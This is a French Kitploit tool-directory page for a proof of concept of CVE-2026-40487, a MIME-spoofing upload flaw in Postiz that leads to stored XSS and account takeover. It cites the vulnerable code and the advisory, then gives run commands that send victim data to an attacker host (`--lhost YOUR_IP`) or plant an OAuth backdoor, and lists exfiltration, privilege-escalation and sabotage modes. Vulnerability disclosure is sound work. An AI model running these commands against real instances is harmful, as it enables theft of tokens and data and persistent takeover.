Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-40487 — Preuve de concept pour CVE-2026-40487, démontrant un téléversement arbitraire de fichiers via une usurpation MIME menant à un XSS stocké et à une prise de contrôle de compte dans Postiz. Inclut plusieurs modes d'attaque pour l'exfiltration de données, l'élévation de privilèges et la persistance. | Kitploit
Outils/GitHubGitHub/astaruf/cve-2026-40487
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubastaruf/cve-2026-40487

CVE-2026-40487

Voir le dépôt
37il y a 5 moisPas encore vérifié
Site web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Preuve de concept pour CVE-2026-40487, démontrant un téléversement arbitraire de fichiers via une usurpation MIME menant à un XSS stocké et à une prise de contrôle de compte dans Postiz. Inclut plusieurs modes d'attaque pour l'exfiltration de données, l'élévation de privilèges et la persistance.

Partager

CVE-2026-40487 - Postiz <= 2.21.5 - Téléchargement arbitraire de fichier via usurpation de type MIME menant à une XSS stockée puis à une prise de contrôle de compte

Découvert et signalé par : Astaruf

Analyse complète : https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/

Entrée NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-40487

Entrée GHSA : https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx

Enregistrement CVE : https://www.cve.org/CVERecord?id=CVE-2026-40487


Résumé

Postiz est un outil open-source de gestion des réseaux sociaux avec plus de 28 intégrations de plateformes (Instagram, X, LinkedIn, Facebook, TikTok, etc.), utilisé par plus de 600 instances exposées sur Internet.

Un attaquant disposant de faibles privilèges peut télécharger un fichier SVG (ou HTML) malveillant avec un en-tête Content-Type: image/png usurpé. Le serveur accepte le fichier sans inspecter son contenu réel, conserve l'extension d'origine, et nginx le sert avec le Content-Type dérivé de cette extension (image/svg+xml). Lorsqu'une victime ouvre l'URL, le JavaScript intégré s'exécute dans l'origine de l'application, donnant à l'attaquant des capacités complètes de détournement de session équivalentes à une prise de contrôle de compte.

La chaîne d'attaque :

L'attaquant télécharge un .svg avec Content-Type: image/png
  -> Le serveur valide uniquement l'en-tête Content-Type (CWE-345)
    -> Le fichier est enregistré sur le disque avec l'extension .svg d'origine (CWE-434)
      -> nginx le sert comme image/svg+xml
        -> Le navigateur exécute le JavaScript intégré (CWE-79)
          -> Même origine : accès complet à la session de la victime

Impact

La charge utile XSS s'exécute dans la même origine que l'application. Même si le cookie d'authentification est HttpOnly, fetch() avec credentials: "include" l'attache automatiquement. L'attaquant peut :

  • Exfiltrer le profil de la victime, les clés API, les jetons OAuth de tous les comptes de réseaux sociaux connectés
  • Lire, créer, modifier et supprimer les publications planifiées sur toutes les plateformes
  • Inviter l'attaquant comme administrateur dans l'organisation de la victime
  • Créer une porte dérobée OAuth persistante (jeton pos_* qui n'expire jamais et survit aux changements de mot de passe)
  • Désactiver les notifications, effacer les configurations, forcer la déconnexion
  • Exécuter des appels API authentifiés arbitraires en tant que victime

Détails de la vulnérabilité

Trois composants échouent indépendamment, créant la chaîne d'exploitation :

1. La validation du type MIME fait confiance à l'entrée client (CWE-345)

libraries/nestjs-libraries/src/upload/custom.upload.validation.ts :

const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

value.mimetype provient de l'en-tête Content-Type de la requête multipart, que l'attaquant contrôle. Aucune inspection des octets magiques, aucune utilisation de bibliothèques comme file-type.

2. L'extension d'origine est conservée sur le disque (CWE-434)

libraries/nestjs-libraries/src/upload/local.storage.ts :

const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

extname(file.originalname) extrait l'extension du nom de fichier fourni par le client. Aucune vérification de cohérence entre le type MIME déclaré et l'extension. Le serveur renvoie également l'URL publique complète dans la réponse, ce qui permet à l'attaquant d'obtenir le lien à envoyer à la victime.

3. nginx sert avec un Content-Type dérivé de l'extension

http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

nginx associe .svg à image/svg+xml, .html à text/html. Pas de Content-Security-Policy, pas de X-Content-Type-Options: nosniff, pas de Content-Disposition: attachment.

Preuve de concept

Prérequis

Python 3.8+
pip install requests

Démarrage rapide

# 1. Vérifier si la cible est vulnérable
python3 poc.py http://target:5000 -e [email protected] -p password --check

# 2. Exfiltrer tout depuis la victime
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a full-dump

# 3. Créer une porte dérobée persistante
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. Réutiliser le jeton sans identifiants
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

Flux d'attaque

Attaquant                    Serveur Postiz              Victime
    |                              |                        |
    |-- 1. Connexion/Inscription ->|                        |
    |-- 2. Téléchargement SVG malveillant ->|               |
    |<---- URL du fichier ---------|                        |
    |-- 3. Envoi de l'URL à la victime -------------------> |
    |                              |<--- 4. Ouvre l'URL --- |
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. JS s'exécute, exfiltre les données -|

Tous les modes d'attaque (33)

Exfiltration (19 modes) - voler les données de la victime
ModeDescription
dump-selfProfil de la victime, infos d'organisation, niveau, clé API
dump-personalNom d'affichage, bio, photo de profil
dump-integrationsIntégrations de réseaux sociaux connectées et jetons
dump-postsPublications planifiées et brouillons (365 derniers jours)
dump-teamMembres de l'équipe, rôles et adresses e-mail
dump-mediaListe de la bibliothèque multimédia
dump-notificationsHistorique des notifications
dump-signaturesSignatures de publications
dump-webhooksWebhooks configurés et leurs URL
dump-oauth-appIdentifiants de l'application OAuth (clientId, secret)
dump-copilotFils de conversation du copilote IA
dump-billingInformations de facturation et d'abonnement
dump-settingsParamètres de liens courts et de notifications
dump-third-partyConfigurations des intégrations tierces
dump-autopostRègles de publication automatique
dump-setsEnsembles de contenu
dump-tagsTags de publications
dump-customersListe des clients
full-dumpTout ce qui précède dans une seule charge utile
Élévation de privilèges (3 modes)
ModeDescription
add-adminInviter l'attaquant comme ADMIN dans l'org de la victime (--attacker-email)
rotate-keyPivoter la clé API de l'org et l'exfiltrer
rotate-oauthPivoter le secret de l'application OAuth et l'exfiltrer
Sabotage (9 modes) - actions destructrices
Télécharger l’outil